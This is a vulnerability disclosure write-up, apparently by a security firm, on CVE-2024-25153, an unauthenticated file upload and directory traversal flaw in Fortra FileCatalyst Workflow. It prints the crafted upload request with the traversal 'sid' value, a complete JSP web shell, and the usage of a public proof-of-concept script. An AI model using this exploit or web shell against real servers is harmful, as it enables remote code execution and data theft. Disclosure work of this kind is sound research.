CVE-2024-25153, a critical Unsafe File Upload and Directory Traversal vulnerability in Fortra FileCatalyst, allows a remote unauthenticated attacker to gain Remote Code Execution (RCE) on the web server. This affects Fortra FileCatalyst Workflow 5.x, before 5.1.6 Build 114.
We are releasing a full proof-of-concept exploit for this vulnerability, which can be found at GitHub below.
GitHub: https://github.com/nettitude/CVE-2024-25153
Fortra FileCatalyst is an enterprise managed file transfer (MFT) solution which consists of several components – FileCatalyst Direct, Workflow, and Central. FileCatalyst Workflow includes a web portal that allows users to share, modify, and track files with anyone in their organisation.
Several significant vulnerabilities have been discovered in managed file transfer (MFT) applications over the last 12 months, for example CVE-2023-34362, an SQL injection and Remote Code Execution vulnerability in the MOVEit Transfer application, and CVE-2024-0204, an authentication bypass issue for Fortra GoAnywhere.
LRQA Nettitude identified CVE-2024-25153 during a security assessment for a customer who uses Fortra FileCatalyst within their external infrastructure. This article includes a full analysis of the vulnerability and its discovery.
File Upload Analysis – FtpServlet
Within FileCatalyst Workflow, the file upload process involves a POST request to the following URL.
https://{url}/workflow/servlet/ftpservlet
An example pseudo request is shown below:
POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT HTTP/1.1
Host: {url}
Content-Type: application/octet-stream
Cookie: JSESSIONID={SESSION}
X-File-Type: image/png
X-File-Name: upload.png
{file contents}
Although a session token is required for this request, by default, FileCatalyst Workflow allows anonymous login for public users. This, or valid credentials, is a requirement for exploiting CVE-2024-25153.
In order to identify potential security issues, we downloaded and decompiled the latest version of FileCatalyst Workflow from Fortra’s public website. As shown below, some strings were obfuscated, making the task of reverse engineering the application more challenging.
Hunting Directory Traversal
Through examination of error messages, we determined that files would ordinarily be uploaded to the following location in the web root directory.
https://{url}/workflow/uploadtemp/{session_id}/{file_name}
However, any files or folders in the uploadtemp directory were explicitly denied from being accessed publicly, and the session ID was randomly generated and unknown to the user. Ordinarily an attacker would attempt to use a series of dot-dot-slash (../) characters within the X-File-Name request header to navigate out of the intended directory, but slash characters were sanitised and this attack was not possible.
Importantly, we observed that temporary upload directories would be deleted by a clean-up process shortly after upload. The exact time window was determined by the amount of time taken for a server-side FTP connection to complete, and this was deemed to be sufficient to carry out a potential attack.
Even more importantly, it would mean that if directory traversal is successful, we cannot target the top level web root directory without risk of deleting the entire application. The unfortunate effects of this are shown in the screenshot below during a local exploitation attempt.
This is something to note if attempting this attack during a security assessment against a customer’s environment.
Identifying Hidden Parameters
If we can’t exploit directory traversal within the file name field, how can we instead manipulate the session ID to a known value? Reverse engineering this portion of the code revealed the following functionality, which showed an optional query parameter, bb.decode(KVhV), being used to construct the session ID.
As mentioned previously, this string value was obfuscated, and we had to reverse the obfuscation function to identify the original string. As shown below, this revealed the sid request parameter.
Uploading a Command Shell
By replacing the sid parameter with dot-dot-slash sequences, we were able to upload a server-side executable, shell.jsp, to a location outside the uploadtemp directory. For anyone skim-reading up until this point, it’s very important not to attempt to upload files to the top-level directory as this risks deleting the entire application.
POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT&sid=nettitude/../../nettitude/ HTTP/1.1
Host: {url}
Content-Type: application/octet-stream
Cookie: JSESSIONID={SESSION}
X-File-Type: a
X-File-Name: shell.jsp
<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
The upload request above succeeded, and shell.jsp was placed in the following location in the web root:
https://{url}/workflow/nettitude/shell.jsp
In a real environment, this may require insecure permissions for the application to be able to create a new directory in the web root. However, this configuration was observed during the security assessment where CVE-2024-25153 was discovered, and the exploit succeeded.
Remote Code Execution
Once the web shell had been uploaded, it was then possible to use this to execute operating system commands, as follows:
https://{url}/workflow/nettitude/shell.jsp?cmd=whoami
Response:
nt authority\local service
The above demonstrates that OS level access could be achieved, and an attacker could read or modify data on the system, potentially including files uploaded by other users. This poses a severe confidentiality, integrity, and availability risk.
Similarly, in FileCatalyst Direct, the same vulnerable FtpServlet was observed:
https://{url}:12480/servlet/ftpservlet
This appeared to have identical functionality, and was also determined to be exploitable following the steps outlined above.
Proof-of-Concept Exploit
We have created a full proof-of-concept exploit for CVE-2024-25153, which can be found at GitHub below.
GitHub: https://github.com/nettitude/CVE-2024-25153
To use this, the syntax is as follows:
./CVE-2024-25153.py --host <hostname> --port <port> --url <url> --cmd <command>
The exploit will:
- Automatically detect whether anonymous login is enabled.
- Get a valid session token.
- Upload a command shell with a pseudo-randomly generated file name.
- Execute the OS command.
This is demonstrated in the screenshot below.
Disclosure Process
This vulnerability was discovered on 7 August 2023, reported to Fortra on 9 August 2023, and an effective patch released on 11 August 2023. Fortra were authorized as a CVE Numbering Authority (CNA) in December 2023, at which point CVE-2024-25153 was assigned and public disclosure was planned.
